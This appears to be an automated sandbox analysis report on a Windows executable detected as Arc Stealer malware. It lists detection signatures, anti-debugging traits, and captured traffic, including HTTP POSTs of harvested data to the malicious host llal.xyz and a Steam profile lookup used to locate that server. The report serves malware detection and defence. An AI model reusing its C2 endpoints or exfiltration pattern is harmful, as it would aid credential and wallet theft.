Edit tour

Windows Analysis Report
0x001900000002ab40-59.exe

Overview

General Information

Sample name:	0x001900000002ab40-59.exe
Analysis ID:	1450268
MD5:	889cc88bca04e05c46d9e74636baee19
SHA1:	28a273447716b7dea5526a499b801d025ac3ea6e
SHA256:	00aac20f7fa77d5b959244157aad331bcdd28e3c4240e4a7106848625824fa78
Tags:	exe
Infos:

Detection

Arc Stealer

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Arc Stealer

AI detected suspicious sample

Found many strings related to Crypto-Wallets (likely being stolen)

Performs DNS queries to domains with low reputation

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

0x001900000002ab40-59.exe (PID: 7584 cmdline: "C:\Users\user\Desktop\0x001900000002ab40-59.exe" MD5: 889CC88BCA04E05C46D9E74636BAEE19)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000003.1722897393.0000000008297000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1722996754.00000000082AB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1725697054.00000000082AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x5f271:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
Process Memory Space: 0x001900000002ab40-59.exe PID: 7584	JoeSecurity_ArcStealer	Yara detected Arc Stealer	Joe Security
Process Memory Space: 0x001900000002ab40-59.exe PID: 7584	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.0x001900000002ab40-59.exe.5942544.1.unpack	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x59b2d:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
1.2.0x001900000002ab40-59.exe.5942544.1.raw.unpack	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x5cd2d:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 0x001900000002ab40-59.exe

Virustotal: Detection: 19%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.6% probability

Source: 0x001900000002ab40-59.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.42.29:443 -> 192.168.2.10:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49709 version: TLS 1.2

Source: 0x001900000002ab40-59.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:

Binary string: C:\BuildAgent\work\6a6d135591f2f49f\src\out\Default\win_clang_x86\lite_installer.exe.pdb source: 0x001900000002ab40-59.exe

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_009232F1 FindFirstFileExW,	1_2_009232F1
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_009233A5 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_009233A5
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008CD950 FindFirstFileExW,GetLastError,GetFileAttributesW,FindNextFileW,FindClose,	1_2_008CD950

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_0089F490 GetLogicalDriveStringsW,QueryDosDeviceW,

1_2_0089F490

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 4x nop then movd mm0, dword ptr [edx]

1_2_00824577

Networking

Performs DNS queries to domains with low reputation

Source:

DNS query: llal.xyz

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 104.102.42.29 104.102.42.29

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /profiles/76561199619938930 HTTP/1.1User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603Host: steamcommunity.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d HTTP/1.1User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603Host: llal.xyzCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Up/b HTTP/1.1Content-Type: application/octet-stream; boundary=----User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603Host: llal.xyzContent-Length: 7745Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Up/b HTTP/1.1Content-Type: application/octet-stream; boundary=----User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603Host: llal.xyzContent-Length: 11629Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Up/b HTTP/1.1Content-Type: application/octet-stream; boundary=----User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603Host: llal.xyzContent-Length: 9177Cache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /profiles/76561199619938930 HTTP/1.1User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603Host: steamcommunity.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d HTTP/1.1User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603Host: llal.xyzCache-Control: no-cache

Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: llal.xyz

Source: unknown

HTTP traffic detected: POST /Up HTTP/1.1Content-Type: application/octet-stream; boundary=----User-Agent: MyApp/1.0Host: llal.xyzContent-Length: 343Cache-Control: no-cache

Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1711911198.0000000008329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1711911198.0000000008329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 0x001900000002ab40-59.exe	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: 0x001900000002ab40-59.exe	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: 0x001900000002ab40-59.exe	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: 0x001900000002ab40-59.exe	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1711911198.0000000008329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1711911198.0000000008329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1711911198.0000000008329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1711911198.0000000008329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1711911198.0000000008329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1711911198.0000000008329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 0x001900000002ab40-59.exe	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: 0x001900000002ab40-59.exe	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: 0x001900000002ab40-59.exe	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1711911198.0000000008329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 0x001900000002ab40-59.exe	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: 0x001900000002ab40-59.exe	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: 0x001900000002ab40-59.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: 0x001900000002ab40-59.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1711911198.0000000008329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1711911198.0000000008329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1670010491.0000000008324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://api.browser.yandex.net/configs/all_zip
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://api.browser.yandex.net/configs/all_zipbrandID=&partnerID=?Failed
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://api.browser.yandex.net/content/get/experiments/browser.proto
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: 76561199619938930[1].htm.1.dr	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1712081694.0000000008357000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712269375.000000000835A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1712081694.0000000008357000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712269375.000000000835A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700002.1&cta
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://browser.yandex.
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://browser.yandex.byua?&=full=1baneridbetabetacustobgidcalypsocustoexpcalypsofootballpartner_id
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1670010491.0000000008324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1670010491.0000000008324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1670010491.0000000008324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.st
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/c
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Hpc3R3GOITg3&a
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMB
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?1
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/mo
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=49iUccgO
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=ttNb
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
